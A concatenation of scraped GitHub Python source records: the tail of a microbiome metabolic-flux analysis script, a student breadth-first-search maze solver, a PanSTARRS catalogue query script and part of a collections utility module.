competecount += 1\n interactMat[ithIdx,jthIdx] += -abs(flux1)-abs(flux2)\n elif (flux1>0 and flux2<0) or (flux1<0 and flux2>0):\n coopcount += 1\n interactMat[ithIdx,jthIdx] += abs(flux1)+abs(flux2)\n if competecount>0 or coopcount>0:\n pass\n #print(ithIdx)\n #print(jthIdx)\n #print(competecount)\n #print(coopcount)\n interactMat2 = copy.deepcopy(interactMat)\n for i in range(len(interactMat)):\n nonzerovals = interactMat[i,interactMat[i,:]!=0]\n if len(nonzerovals)!=0:\n nonzeromean = np.mean(nonzerovals)\n for j in range(len(interactMat[i])):\n interactMat2[i,j] += nonzeromean\n for i in range(len(interactMat[0])):\n nonzerovals = interactMat[interactMat[:,i]!=0,i]\n if len(nonzerovals)!=0:\n nonzeromean = np.mean(nonzerovals)\n for j in range(len(interactMat)):\n interactMat2[j,i] += nonzeromean\n [eigvals,eigvectors] = np.linalg.eig(interactMat2)\n if len(eigminarr)==0:\n for k in range(len(eigvals)):\n eigminarr.append(eigvals[k].real)\n else:\n for k in range(len(eigminarr)):\n if eigvals[k]<eigminarr[k]:\n eigminarr[k] = eigvals[k].real\n if len(eigmaxarr)==0:\n for k in range(len(eigvals)):\n eigmaxarr.append(eigvals[k].real)\n else:\n for k in range(len(eigmaxarr)):\n if eigvals[k]>eigmaxarr[k]:\n eigmaxarr[k] = eigvals[k].real\n if len(eigmeanarr)==0:\n for k in range(len(eigvals)):\n eigmeanarr.append(eigvals[k].real)\n else:\n for k in range(len(eigmeanarr)):\n eigmeanarr[k] += eigvals[k].real\n print(grouplabelarr[z1])\n print(grouparr[z1][z])\n print(eigvals[:10])\n outFI = open('/mnt/vdb/home/ubuntu2/interactMatTemp'+grouparr[z1][z]+'.txt','w')\n for i in range(len(interactMat2)):\n for j in range(len(interactMat2)-1):\n outFI.write(str(interactMat2[i,j])+'\\t')\n outFI.write(str(interactMat2[i,772])+'\\n')\n outFI.close()\n return [eigminarr,eigmaxarr,eigmeanarr]\n \nif __name__=='__main__':\n\n inFI = open('/mnt/vdb/home/ubuntu2/tobemerged2.txt')\n tobemerged2map = {}\n for line in inFI:\n words = line.strip().split('\\t')\n if len(words)==2:\n words.append('')\n tobemerged2map[words[0]] = [words[1],words[2]]\n inFI.close()\n\n inputDir = '/mnt/vdb/home/ubuntu2/MATLAB/SEED/output/simulateSmallModelsCombined/'\n\n #diabetesctrl = ['BGI-06A','N044A','SZEY-75A']\n #diabetestype2nomet = ['NG-5636_551','DOM024','DLM001']\n diabetesctrl = ['BGI-06A','N044A','SZEY-75A','MH0189','MH0181','N029A','NLM031','MH0439','MH0431','MH0024']\n diabetestype2nomet = ['NG-5636_551','DOM024','DLM001','MH0334','DLM027','MH0370','DOM023','DLM019','DLM028','DLM012','MH0345']\n HMP2Normal = ['206703','206704','206700']\n HMP2IBD = ['206701','206708','206709']\n MHnormal = ['MH0005','MH0006','MH0008']\n MHobese = ['MH0001','MH0002','MH0003']\n grouparr = [diabetesctrl,diabetestype2nomet]#,HMP2Normal,HMP2IBD,MHnormal,MHobese]\n grouplabelarr = ['diabetesctrl','diabetestype2nomet']#,'HMP2Normal','HMP2IBD','MHnormal','MHobese']\n analyzeSingle = True\n for z1 in range(len(grouparr)):\n if not analyzeSingle:\n eigminarr = []\n eigmaxarr = []\n eigmeanarr = []\n if z1%2==0:\n rxndiffmap = {}\n for z in range(len(grouparr[z1])):\n count = 0\n interactMat = np.zeros([773,773])\n bigmap = {}\n for afileorig in os.listdir(inputDir):\n if afileorig.endswith('.txt'):\n afile = afileorig[:len(afileorig)-4]\n words = afile.split('_')\n if words[1]==grouparr[z1][z] and ((analyzeSingle and len(words)==3) or (not analyzeSingle and len(words)==4)):\n count = count+1\n print(count)\n ithIdx = int(words[2])\n if not analyzeSingle:\n jthIdx = int(words[3])\n inFI = open(inputDir+afileorig)\n inFI.readline()\n for line in inFI:\n linewords = line.strip().split('\\t')\n speciesnum = -1\n if (linewords[2].split('_')[0]=='1' or linewords[2].split('_')[0]=='2') or analyzeSingle:\n if (linewords[2].split('_')[0]=='1' or linewords[2].split('_')[0]=='2'):\n speciesnum = int(linewords[2].split('_')[0])\n rxn = linewords[2].split('_')\n rxn = '_'.join(rxn[1:])\n elif analyzeSingle:\n rxn = linewords[2]\n rxn = rxn.replace('_LSQBKT','')\n rxn = rxn.replace('_RSQBKT','')\n rxn = rxn.replace('_LPAREN','')\n rxn = rxn.replace('_RPAREN','')\n rxn = rxn.replace('DASH','-')\n if rxn not in rxndiffmap:\n rxndiffmap[rxn] = [{},{}]\n if z1%2==0:\n if ithIdx not in rxndiffmap[rxn][0]:\n rxndiffmap[rxn][0][ithIdx] = []\n rxndiffmap[rxn][0][ithIdx].append(float(linewords[0]))\n else:\n if ithIdx not in rxndiffmap[rxn][1]:\n rxndiffmap[rxn][1][ithIdx] = []\n rxndiffmap[rxn][1][ithIdx].append(float(linewords[0]))\n if not analyzeSingle:\n if ithIdx not in bigmap:\n bigmap[ithIdx] = {}\n if jthIdx not in bigmap[ithIdx]:\n bigmap[ithIdx][jthIdx] = {}\n if rxn not in bigmap[ithIdx][jthIdx]:\n bigmap[ithIdx][jthIdx][rxn] = [0,0]\n #print('HERE')\n bigmap[ithIdx][jthIdx][rxn][speciesnum-1] = float(linewords[0])\n\n if not analyzeSingle:\n [eigminarr,eigmaxarr,eigmeanarr] = calcEigs(bigmap,eigminarr,eigmaxarr,eigmeanarr)\n\n if not analyzeSingle:\n onetoten = ['_01','_02','_03','_04','_05','_06','_07','_08','_09','_10']\n for k in range(len(eigmeanarr)):\n eigmeanarr[k] = eigmeanarr[k]/3\n writeData([onetoten,eigmeanarr,eigminarr,eigmaxarr],'/mnt/vdb/home/ubuntu2/eig'+grouplabelarr[z1]+'.txt',delimiter='\\t',headers=['eignum','eigval','lower','upper'])\n\n if z1%2==1:\n if analyzeSingle:\n rxndiffmaptemp = {}\n for rxn in rxndiffmap:\n rxndiffmaptemp[rxn] = [[],[]]\n for k in [0,1]:\n for ithIdx in rxndiffmap[rxn][k]:\n rxndiffmaptemp[rxn][k].append(np.mean(rxndiffmap[rxn][k][ithIdx]))\n if k==0:\n k1=1\n else:\n k1=0\n if ithIdx in rxndiffmap[rxn][k1]:\n rxndiffmaptemp[rxn][k1].append(np.mean(rxndiffmap[rxn][k1][ithIdx]))\n else:\n rxndiffmaptemp[rxn][k1].append(0)\n rxndiffmap = rxndiffmaptemp\n else:\n rxndiffmaptemp = {}\n for rxn in rxndiffmap:\n rxndiffmaptemp[rxn] = [[],[]]\n for k in [0,1]:\n for ithIdx in rxndiffmap[rxn][k]:\n for l in range(len(rxndiffmap[rxn][k][ithIdx])):\n rxndiffmaptemp[rxn][k].append(rxndiffmap[rxn][k][ithIdx][l])\n rxndiffmap = rxndiffmaptemp\n \n if z1==1:\n diabetesrxndiffmap = rxndiffmap\n if z1==3:\n IBDrxndiffmap = rxndiffmap\n if z1==5:\n normobeserxndiffmap = rxndiffmap\n if z1%2==1:\n rxnarr = rxndiffmap.keys()\n rxnarr.sort()\n pvalarr = []\n rxnnamearr = []\n subarr = []\n meandiffarr = []\n for rxn in rxnarr:\n maxlen = max(len(rxndiffmap[rxn][0]),len(rxndiffmap[rxn][1]))\n if len(rxndiffmap[rxn][0])==0:\n for k in range(len(rxndiffmap[rxn][0]),maxlen):\n rxndiffmap[rxn][0].append(0)\n if len(rxndiffmap[rxn][1])==0:\n for k in range(len(rxndiffmap[rxn][1]),maxlen):\n rxndiffmap[rxn][1].append(0) \n if max(rxndiffmap[rxn][0])!=max(rxndiffmap[rxn][1]) or min(rxndiffmap[rxn][0])!=min(rxndiffmap[rxn][1]):\n if not analyzeSingle:\n [stat, pval] = scipy.stats.mannwhitneyu(rxndiffmap[rxn][0],rxndiffmap[rxn][1])\n else:\n statdiffarr = []\n for k in range(len(rxndiffmap[rxn][0])):\n statdiffarr.append(rxndiffmap[rxn][0][k]-rxndiffmap[rxn][1][k])\n [stat, pval] = scipy.stats.ttest_1samp(statdiffarr,0)\n else:\n pval = 1\n pvalarr.append(pval)\n rxncand = rxn\n if rxncand not in tobemerged2map:\n rxncand = rxn.replace('_c_','c')\n if rxncand not in tobemerged2map:\n rxncand = rxn.replace('_m_','m')\n if rxncand not in tobemerged2map:\n rxncand = rxn.replace('_e_','e')\n if rxncand not in tobemerged2map:\n rxncand = rxn.replace('_p_','p')\n if rxncand not in tobemerged2map:\n rxncand = rxn.replace('EX','EX_')\n if rxncand not in tobemerged2map and rxn.startswith('EX_'):\n rxncand = rxn.replace('_','')\n rxncand = rxncand.replace('EX','EX_')\n \n if rxncand not in tobemerged2map:\n rxncand = rxn.replace('_','')\n rxnnamearr.append(tobemerged2map[rxncand][0])\n subarr.append(tobemerged2map[rxncand][1])\n meandiffarr.append(np.mean(rxndiffmap[rxn][0])-np.mean(rxndiffmap[rxn][1]))\n diffout = '/mnt/vdb/home/ubuntu2/pairwiseSingleSpeciesRxnDistsDiabetes/'+rxncand+'DiffMap.txt'\n rxndiffarr = []\n highlightarr = []\n for k in range(len(rxndiffmap[rxn][0])):\n rxndiffarr.append(rxndiffmap[rxn][0][k])\n highlightarr.append('ctrl')\n for k in range(len(rxndiffmap[rxn][1])):\n rxndiffarr.append(rxndiffmap[rxn][1][k])\n highlightarr.append('t2d')\n writeData([rxndiffarr,highlightarr],diffout,delimiter='\\t',headers=['flux','highlight'])\n\n uniqSubs = np.unique(subarr)\n numrxnsall = []\n numsigrxnsall = []\n hypergeomparrall = []\n for sub in uniqSubs:\n N = len(rxnarr)\n M = sum(np.array(subarr)==sub)\n K = sum(np.array(pvalarr)<.05)\n x = sum(np.logical_and(np.array(pvalarr)<.05,np.array(subarr)==sub))\n numrxnsall.append(M)\n numsigrxnsall.append(x)\n hypergeomparrall.append(1-hypergeom.cdf(x-1,N,M,K))\n numrxnspos = []\n numsigrxnspos = []\n hypergeomparrpos = []\n for sub in uniqSubs:\n N = len(rxnarr)\n M = sum(np.array(subarr)==sub)\n K = sum(np.logical_and(np.array(pvalarr)<.05,np.array(meandiffarr)>0))\n x = sum(np.logical_and(np.logical_and(np.array(pvalarr)<.05,np.array(meandiffarr)>0),np.array(subarr)==sub))\n numrxnspos.append(M)\n numsigrxnspos.append(x)\n hypergeomparrpos.append(1-hypergeom.cdf(x-1,N,M,K))\n numrxnsneg = []\n numsigrxnsneg = []\n hypergeomparrneg = []\n for sub in uniqSubs:\n N = len(rxnarr)\n M = sum(np.array(subarr)==sub)\n K = sum(np.logical_and(np.array(pvalarr)<.05,np.array(meandiffarr)<0))\n x = sum(np.logical_and(np.logical_and(np.array(pvalarr)<.05,np.array(meandiffarr)<0),np.array(subarr)==sub))\n numrxnsneg.append(M)\n numsigrxnsneg.append(x)\n hypergeomparrneg.append(1-hypergeom.cdf(x-1,N,M,K))\n\n if z1==1:\n disease='diabetes'\n if z1==3:\n disease='IBD'\n if z1==5:\n disease='normobese'\n if analyzeSingle:\n disease = 'SingleSpecies'+disease\n writeData([rxnarr,rxnnamearr,subarr,pvalarr,meandiffarr],'/mnt/vdb/home/ubuntu2/pairwiseRxnDiff'+disease+'.txt',delimiter='\\t',headers=['rxn','rxnname','sub','wilcoxon p-val','mean flux diff'])\n writeData([uniqSubs,numrxnsall,numsigrxnsall,hypergeomparrall],'/mnt/vdb/home/ubuntu2/pairwiseSubDiffAll'+disease+'.txt',delimiter='\\t',headers=['sub','num reactions','num sig reactions','hypergeometric p-val'])\n writeData([uniqSubs,numrxnspos,numsigrxnspos,hypergeomparrpos],'/mnt/vdb/home/ubuntu2/pairwiseSubDiffPos'+disease+'.txt',delimiter='\\t',headers=['sub','num reactions','num sig reactions','hypergeometric p-val'])\n writeData([uniqSubs,numrxnsneg,numsigrxnsneg,hypergeomparrneg],'/mnt/vdb/home/ubuntu2/pairwiseSubDiffNeg'+disease+'.txt',delimiter='\\t',headers=['sub','num reactions','num sig reactions','hypergeometric p-val'])\n","repo_name":"yw595/SEED","sub_path":"src/analyzeSmallModelsCombined.py","file_name":"analyzeSmallModelsCombined.py","file_ext":"py","file_size_in_byte":15257,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"33183904955","text":"\ndef create_maze():\n maze = {\n # defining the maze\n # (COLUMN, ROW)\n # following what mr yessen made in class\n (0, 0): [(0, 1)],\n (0, 1): [(0, 2)],\n (0, 2): [(0, 3)],\n (0, 3): [(0, 4), (1, 3)],\n (1, 3): [(1, 2), (1, 4), (2, 3)],\n (2, 3): [],\n (1, 2): [(1, 1)],\n (1, 1): [(1, 0)],\n (1, 0): [(2, 0)],\n (2, 0): [(3, 0)],\n (3, 0): [(3, 1)],\n (3, 1): [(2, 1), (3, 2)],\n (2, 1): [],\n (3, 2): [(2, 2), (4, 2)],\n (2, 2): [],\n (4, 2): [(4, 1)],\n (0, 4): [],\n (1, 4): [(2, 4)],\n (2, 4): [(3, 4)],\n (3, 4): [(4, 4)],\n (4, 4): [(4, 3)],\n (4, 3): [(3, 3)],\n (3, 3): []\n }\n return maze\n\ndef bfs(maze, start, end):\n visited = []\n bfs_q = []\n bfs_q.append(start)\n\n while bfs_q:\n z = bfs_q.pop(0)\n visited.append(z)\n if len(visited) == 1:\n print(\"visit:\", z, \"(S)\")\n else:\n print(\"visit:\", z)\n\n if z == end:\n print(\"\\n\")\n print(\"end of the point:\", end, \"(G)\")\n break\n\n for i in maze[z]:\n if i not in visited and i not in bfs_q:\n bfs_q.append(i)\n print(\"the neighbour added:\", i)\n\n# run BFS\ndef main():\n while True:\n print(\"1. Use default starting point (0.0) and ending point (2,1) \")\n print(\"2. Manually enter between (0,0) to (4,4)\")\n a = input(\"Please choose between 1 and 2: \")\n\n if a == '1':\n start = (0, 0)\n target = (2, 1)\n break\n elif a == '2':\n start = eval(input(\"Please enter your point of start (0,0 to 4,4) as (column, row): \"))\n target = eval(input(\"Please enter your point of end (0,0 to 4,4) as (column, row): \"))\n if 0 <= start[0] <= 5 and 0 <= start[1] <= 5 and 0 <= target[0] <= 5 and 0 <= target[1] <= 5:\n break\n else:\n print(\"Invalid input. Row and column values must be between 0 and 5.\")\n else:\n print(\"Invalid choice. Please enter 1 or 2.\")\n \n maze = create_maze()\n bfs(maze, start, target)\n\nwhile True:\n main()\n print(\"\\n\")\n try_again = input(\"Do you want to try again? (y): \")\n if try_again.lower() == \"y\":\n continue\n else:\n print(\"Thank you!\")\n break\n\n\n#I actually have tried to make a different version of the maze, not following the one in class\n#but sadly it doesnt work as how i wished it work..\n\n# def create_maze():\n# maze = [\n# # top, left, bottom, right\n# # 0 = no wall, 1 = wall, 2 = path\n# [[1, 1, 0, 1], [1, 1, 0, 0], [1, 0, 1, 0], [1, 0, 0, 1], [1, 1, 0, 1]], # row 1\n# [[0, 1, 0, 1], [0, 1, 0, 1], [1, 1, 1, 0], [0, 0, 0, 1], [0, 1, 0, 1]], # row 2\n# [[0, 1, 0, 1], [0, 1, 0, 1], [1, 1, 1, 0], [0, 0, 1, 0], [0, 0, 0, 1]], # row 3\n# [[0, 1, 0, 0], [0, 0, 0, 0], [1, 0, 1, 1], [1, 1, 1, 0], [0, 0, 0, 1]], # row 4\n# [[0, 1, 1, 1], [0, 1, 1, 0], [1, 0, 1, 0], [1, 0, 1, 0], [0, 0, 1, 1]], # row 5\n# ]\n# return maze\n# def is_valid_move(row, col, maze, visited):\n# # 5 is the number of row and column\n# if 0 <= row < 5:\n# if 0 <= col < 5:\n# if (row, col) not in visited: #have to be not visited to avoid revisiting cells that have been visited\n# for i in range (4):\n# if maze[row][col][i]==0:\n# return True\n# else:\n# return False\n# return False\n# maze = create_maze()\n# r_start, c_start = 0, 0\n# r_end, c_end = 1, 2\n# end = (r_end, c_end)\n# visited = set()\n# Q = [(r_start, c_start)] \n\n# while Q:\n# u = Q.pop(0)\n# visited.add(u)\n\n# if u == end:\n# print(\"Reached the target (row, column): \" + str(end))\n# break\n\n# row, col = u\n\n# #direction of movement\n# moves = [(-1, 0), (0, -1), (1, 0), (0, 1)] # top,left,bottom, down\n# for move in moves:\n# new_row, new_col = row + move[0], col + move[1]\n# if is_valid_move(new_row, new_col, maze, visited):\n# Q.append((new_row, new_col)) #appending to the Q\n# visited.add((new_row, new_col)) # input to visited\n\n# print(\"Current bfs_q:\", Q)\n\n# print(\"Visited cells:\", visited)\n","repo_name":"willamjonathan/AI","sub_path":"assignment1/1_maze.py","file_name":"1_maze.py","file_ext":"py","file_size_in_byte":4384,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"4822352637","text":"import mastcasjobs\nimport healpy as hp\nimport numpy as np\nimport requests\nimport os, sys, re\nimport json\nfrom astropy.io import ascii, fits\nfrom astropy.table import Table, join, hstack, vstack\n\n\ndef parameters(nside,pixel):\n radius = hp.pixelfunc.max_pixrad(nside, degrees=True)*3600\n angles = hp.pix2ang(nside,int(pixel), nest = False, lonlat=True)\n return angles, radius\n \n \ndef fixcolnames(tab):\n \"\"\"Fix column names returned by the casjobs query\n \n Parameters\n ----------\n tab (astropy.table.Table): Input table\n\n Returns reference to original table with column names modified\"\"\"\n\n pat = re.compile(r'\\[(?P<name>[^[]+)\\]')\n for c in tab.colnames:\n m = pat.match(c)\n if not m:\n raise ValueError(\"Unable to parse column name '{}'\".format(c))\n newname = m.group('name')\n tab.rename_column(c,newname)\n return tab\n\ndef query_string(ang0,ang1,radius):\n query = \"\"\"select sot.objID, sot.uniquePspsSTid, sot.ippObjID, sot.surveyID, sot.tessID, sot.projectionID, sot.skyCellID, sot.randomStackObjID, sot.primaryDetection, sot.bestDetection, sot.dvoRegionID, sot.processingVersion,\n sot.gippDetectID, sot.gstackDetectID, sot.gstackImageId, sot.gra, sot.gdec, sot.graErr, sot.gdecErr, sot.gEpoch, sot.gPSFMag, sot.gPSFMagErr, sot.gApMag, sot.gApMagErr, sot.gKronMag, sot.gKronMagErr, sot.ginfoFlag, sot.ginfoFlag2, sot.ginfoFlag3, sot.gnFrames,\n sot.rippDetectID, sot.rstackDetectID, sot.rstackImageId, sot.rra, sot.rdec, sot.rraErr, sot.rdecErr, sot.rEpoch, sot.rPSFMag, sot.rPSFMagErr, sot.rApMag, sot.rApMagErr, sot.rKronMag, sot.rKronMagErr, sot.rinfoFlag, sot.rinfoFlag2, sot.rinfoFlag3, sot.rnFrames,\n sot.iippDetectID, sot.istackDetectID, sot.istackImageId, sot.ira, sot.idec, sot.iraErr, sot.idecErr, sot.iEpoch, sot.iPSFMag, sot.iPSFMagErr, sot.iApMag, sot.iApMagErr, sot.iKronMag, sot.iKronMagErr, sot.iinfoFlag, sot.iinfoFlag2, sot.iinfoFlag3, sot.inFrames,\n sot.zippDetectID, sot.zstackDetectID, sot.zstackImageId, sot.zra, sot.zdec, sot.zraErr, sot.zdecErr, sot.zEpoch, sot.zPSFMag, sot.zPSFMagErr, sot.zApMag, sot.zApMagErr, sot.zKronMag, sot.zKronMagErr, sot.zinfoFlag, sot.zinfoFlag2, sot.zinfoFlag3, sot.znFrames,\n sot.yippDetectID, sot.ystackDetectID, sot.ystackImageId, sot.yra, sot.ydec, sot.yraErr, sot.ydecErr, sot.yEpoch, sot.yPSFMag, sot.yPSFMagErr, sot.yApMag, sot.yApMagErr, sot.yKronMag, sot.yKronMagErr, sot.yinfoFlag, sot.yinfoFlag2, sot.yinfoFlag3, sot.ynFrames\n \n\n from fGetNearbyObjEq(\"\"\"+\",\".join([str(ang0),str(ang1),str(radius/60.)])+\"\"\") nb\n inner join StackObjectThin sot on sot.objid=nb.objid\n\n where sot.primaryDetection = 1 \n\"\"\" \n return query\n \n \n\ndef query_function(params, constraints):\n import exception as exc\n params['ang'],params['r'] = parameters(params[\"NSIDE\"],params['pixel']) \n query = query_string(params['ang'][0],params['ang'][1],params['r'])\n jobs = mastcasjobs.MastCasJobs(context=\"PanSTARRS_DR2\")\n \n try:\n table = jobs.quick(query, task_name=\"python cone search\")\n except Exception:\n print(\"Exception. code!=200\")\n table = exc.handling_exception(params,constraints)\n print(\"Extracted {} objects from PS1\".format(len(table)))\n return table, jobs \n\n table = fixcolnames(ascii.read(table))\n table = query_constraints(table, constraints)\n return table, jobs\n\ndef query_constraints(table,constraints):\n band_KronMag = table[''.join([constraints[\"band\"],'KronMag'])]\n band_PSFMag = table[''.join([constraints[\"band\"],'PSFMag'])]\n\n if constraints['use']:\n if constraints[\"type\"]==\"galaxy\":\n constraint = (band_KronMag - band_PSFMag) + 0.192 - 0.120*(band_KronMag - 21.) - 0.018*(band_KronMag - 21.)*(band_KronMag - 21.)\n list1 = np.where((table['gdec']>-999)*(table['gra']>-999)*(band_KronMag>-999)*(band_PSFMag>-999)*(constraint>0)) \n \n elif constraints[\"type\"]==\"star\":\n constraint = (band_KronMag - band_PSFMag) + 0.192 - 0.120*(band_KronMag - 21.) - 0.018*(band_KronMag - 21.)*(band_KronMag - 21.)\n list1 = np.where((table['gdec']>-999)*(table['gra']>-999)*(band_KronMag>-999)*(band_PSFMag>-999)*(constraint<0))\n \n else: \n list1 = np.where((table['gdec']>-999)*(table['gra']>-999)*(band_KronMag>-999)*(band_PSFMag>-999))\n else:\n list1 = np.where((table['gdec']>-999)*(table['gra']>-999))\n \n return table[list1]\n","repo_name":"multinverse/PS1zxcorr","sub_path":"query.py","file_name":"query.py","file_ext":"py","file_size_in_byte":4457,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"21"} +{"seq_id":"9116910645","text":"import collections as col\r\nimport copy\r\nimport itertools\r\nimport math\r\nimport operator\r\n\r\nimport thalesians.tsa.intervals as intervals\r\n\r\ndef sequence_eq(sequence1, sequence2):\r\n return len(sequence1) == len(sequence2) and all(map(operator.eq, sequence1, sequence2))\r\n\r\ndef cmp(x, y):\r\n return (x > y) - (x < y)\r\n\r\ndef most_common(iterable):\r\n sorted_iterable = sorted((x, i) for i, x in enumerate(iterable))\r\n groups = itertools.groupby(sorted_iterable, key=operator.itemgetter(0))\r\n def _auxfun(g):\r\n _, it = g\r\n count = 0\r\n min_index = len(iterable)\r\n for _, where in it:\r\n count += 1\r\n min_index = min(min_index, where)\r\n return count, -min_index\r\n return max(groups, key=_auxfun)[0]\r\n\r\ndef prepend(collection, to_prepend, in_place=False):\r\n if not in_place: collection = copy.copy(collection)\r\n collection[0:0] = to_prepend\r\n return collection\r\n\r\ndef _pad_on_left_with_callable(collection, new_len, padding=None):\r\n return prepend(collection, [padding() for _ in range(new_len - len(collection))], in_place=True)\r\n\r\ndef _pad_on_left_with_noncallable(collection, new_len, padding=None):\r\n return prepend(collection, [padding for _ in range(new_len - len(collection))], in_place=True)\r\n\r\ndef pad_on_left(collection, new_len, padding=None, in_place=False):\r\n if not in_place: collection = copy.copy(collection)\r\n if hasattr(padding, '__call__') or isinstance(padding, col.Callable):\r\n return _pad_on_left_with_callable(collection, new_len, padding)\r\n else:\r\n return _pad_on_left_with_noncallable(collection, new_len, padding)\r\n\r\ndef _pad_on_right_with_callable(collection, new_len, padding=None):\r\n collection.extend([padding() for _ in range(new_len - len(collection))])\r\n return collection\r\n\r\ndef _pad_on_right_with_noncallable(collection, new_len, padding=None):\r\n collection.extend([padding for _ in range(new_len - len(collection))])\r\n return collection\r\n\r\ndef pad_on_right(collection, new_len, padding=None, in_place=False):\r\n if not in_place: collection = copy.copy(collection)\r\n if hasattr(padding, '__call__') or isinstance(padding, col.Callable):\r\n return _pad_on_right_with_callable(collection, new_len, padding)\r\n else:\r\n return _pad_on_right_with_noncallable(collection, new_len, padding)\r\n\r\ndef trim_on_left(collection, new_len, in_place=False):\r\n if not in_place: collection = copy.copy(collection)\r\n del collection[:max(len(collection) - new_len, 0)]\r\n return collection\r\n\r\ndef trim_on_right(collection, new_len, in_place=False):\r\n if not in_place: collection = copy.copy(collection)\r\n del collection[new_len:]\r\n return collection\r\n\r\ndef xconst(value):\r\n while True: yield value\r\n\r\ndef xbatch(size, iterable):\r\n l = len(iterable)\r\n for i in range(0, l, size):\r\n yield iterable[i:min(i + size, l)]\r\n\r\ndef batch(size, iterable):\r\n return list(xbatch(size, iterable))\r\n\r\ndef peek(iterable, size=1):\r\n objs = []\r\n for _ in range(size):\r\n try:\r\n obj = next(iterable)\r\n except StopIteration:\r\n break\r\n objs.append(obj)\r\n return objs, itertools.chain(objs, iterable)\r\n\r\nclass Bracket(object):\r\n def __init__(self, interval, interval_offset):\r\n self.interval = interval\r\n self.interval_offset = interval_offset\r\n self._str_Bracket = None\r\n \r\n def __eq__(self, other):\r\n return self.interval == other.interval and self.interval_offset == other.interval_offset\r\n \r\n def __str__(self):\r\n if self._str_Bracket is None:\r\n self._str_Bracket = '{' + str(self.interval) + ', ' + str(self.interval_offset) + '}'\r\n return self._str_Bracket\r\n \r\n def __repr__(self):\r\n return str(self)\r\n\r\ndef bracket(iterable, origin, interval_size, already_sorted=False, intervals_right_closed=False, coalesce=False):\r\n if not already_sorted:\r\n sorted_indices, iterable = zip(*sorted([(i, v) for i, v in enumerate(iterable)], key=operator.itemgetter(1)))\r\n \r\n brackets = []\r\n bracket_indices = []\r\n \r\n interval_offset = None\r\n interval_left = None\r\n interval_right = None\r\n \r\n for x in iterable:\r\n if interval_offset is None or x - interval_left >= interval_size:\r\n new_interval_offset = (x - origin) // interval_size\r\n new_interval_left = origin + new_interval_offset * interval_size\r\n \r\n if intervals_right_closed and x == new_interval_left:\r\n new_interval_offset -= 1\r\n new_interval_left -= interval_size\r\n \r\n if coalesce and (interval_offset is not None) and (new_interval_left <= brackets[-1].interval.right):\r\n interval_right = new_interval_left + interval_size\r\n brackets[-1].interval = brackets[-1].interval.replace_right(interval_right)\r\n elif interval_offset is None or new_interval_offset != interval_offset:\r\n interval_offset = new_interval_offset\r\n interval_left = new_interval_left\r\n interval_right = interval_left + interval_size\r\n brackets.append(\r\n Bracket(intervals.Interval(interval_left,\r\n interval_right,\r\n not intervals_right_closed,\r\n intervals_right_closed),\r\n interval_offset))\r\n \r\n bracket_indices.append(len(brackets) - 1)\r\n \r\n if not already_sorted:\r\n new_bracket_indices = [None] * len(bracket_indices)\r\n for i in range(len(bracket_indices)):\r\n new_bracket_indices[sorted_indices[i]] = bracket_indices[i]\r\n bracket_indices = new_bracket_indices\r\n \r\n return brackets, bracket_indices\r\n\r\nclass FlatStoredArray(object):\r\n def __init__(self, *args):\r\n self.__count = self._getcount(*args)\r\n self._data = [None] * self.__count\r\n \r\n def _getcount(self):\r\n raise NotImplementedError('Pure virtual method')\r\n \r\n def _keytoindex(self, key):\r\n raise NotImplementedError('Pure virtual method')\r\n \r\n def _indextokey(self, index):\r\n raise NotImplementedError('Pure virtual method')\r\n\r\n def __getitem__(self, key):\r\n return self._data[self._keytoindex(key)]\r\n \r\n def __setitem__(self, key, value):\r\n self._data[self._keytoindex(key)] = value\r\n \r\n def __len__(self):\r\n return self.__count\r\n \r\n def __str__(self):\r\n return str(self._data)\r\n \r\n def __repr__(self):\r\n return repr(self._data)\r\n \r\n def setall(self, iterable):\r\n for i, v in enumerate(iterable):\r\n if i >= self.__count: break\r\n self._data[i] = v\r\n \r\n class __Iterator(object):\r\n def __init__(self, data):\r\n self._data = data\r\n self.__idx = 0\r\n \r\n def __iter__(self):\r\n return self\r\n \r\n def __next__(self):\r\n if self.__idx < len(self._data):\r\n v = self._data[self.__idx]\r\n self.__idx += 1\r\n return v\r\n raise StopIteration()\r\n\r\n def __iter__(self):\r\n return FlatStoredArray.__Iterator(self._data)\r\n \r\n class __KeysIterator(object):\r\n def __init__(self, collection):\r\n self.__collection = collection\r\n self.__idx = 0\r\n \r\n def __iter__(self):\r\n return self\r\n \r\n def __next__(self):\r\n if self.__idx < len(self.__collection):\r\n k = self.__collection._indextokey(self.__idx)\r\n self.__idx += 1\r\n return k\r\n raise StopIteration()\r\n \r\n def keys(self):\r\n return FlatStoredArray.__KeysIterator(self)\r\n\r\n class __ItemsIterator(object):\r\n def __init__(self, data, collection):\r\n self.__data = data\r\n self.__collection = collection\r\n self.__idx = 0\r\n \r\n def __iter__(self):\r\n return self\r\n \r\n def __next__(self):\r\n if self.__idx < len(self.__data):\r\n k = self.__collection._indextokey(self.__idx)\r\n v = self.__data[self.__idx]\r\n self.__idx += 1\r\n return k, v\r\n raise StopIteration()\r\n \r\n def items(self):\r\n return FlatStoredArray.__ItemsIterator(self._data, self)\r\n \r\nclass DiagonalArray(FlatStoredArray):\r\n def __init__(self, dim):\r\n super(DiagonalArray, self).__init__(dim)\r\n self.__dim = dim\r\n \r\n @property\r\n def dim(self): return self.__dim\r\n \r\n @classmethod\r\n def _getcount(cls, dim):\r\n return (dim*dim + dim) // 2\r\n \r\n @classmethod\r\n def _keytoindex(cls, key):\r\n i, j = key[0], key[1]\r\n if i < j: i, j = j, i\r\n return (i*i + i) // 2 + j\r\n \r\n @classmethod\r\n def _indextokey(self, index):\r\n i = int(math.sqrt(2*index))\r\n n = (i*i + i) // 2\r\n j = index - n\r\n if j < 0:\r\n i -= 1\r\n n = (i*i + i) // 2\r\n j = index - n\r\n return i, j\r\n \r\n @classmethod\r\n def mindim(cls, count):\r\n dim = int(math.sqrt(2*count))\r\n if cls._getcount(dim) < count:\r\n dim += 1\r\n return dim\r\n \r\n @classmethod\r\n def create(cls, obj):\r\n if isinstance(obj, DiagonalArray):\r\n res = DiagonalArray(obj.dim)\r\n res.setall(obj)\r\n elif isinstance(obj, SubdiagonalArray):\r\n res = DiagonalArray(obj.dim)\r\n for k, v in obj.items():\r\n self[k] = v\r\n else:\r\n res = DiagonalArray(cls.mindim(len(obj)))\r\n res.setall(obj)\r\n return res\r\n \r\n def tonumpyarray(self, fill=None, symmetric=False):\r\n import numpy as np\r\n if fill is None: fill = 